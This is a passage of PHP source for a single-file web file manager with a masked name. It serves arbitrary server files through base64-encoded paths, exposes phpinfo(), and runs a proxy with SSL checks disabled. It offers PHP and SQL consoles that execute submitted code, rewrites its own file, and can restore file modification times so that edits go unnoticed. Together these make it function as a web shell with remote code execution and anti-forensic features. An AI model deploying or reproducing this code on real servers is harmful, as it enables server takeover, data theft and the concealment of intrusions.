			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>FileXXXXXXXXXXX</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
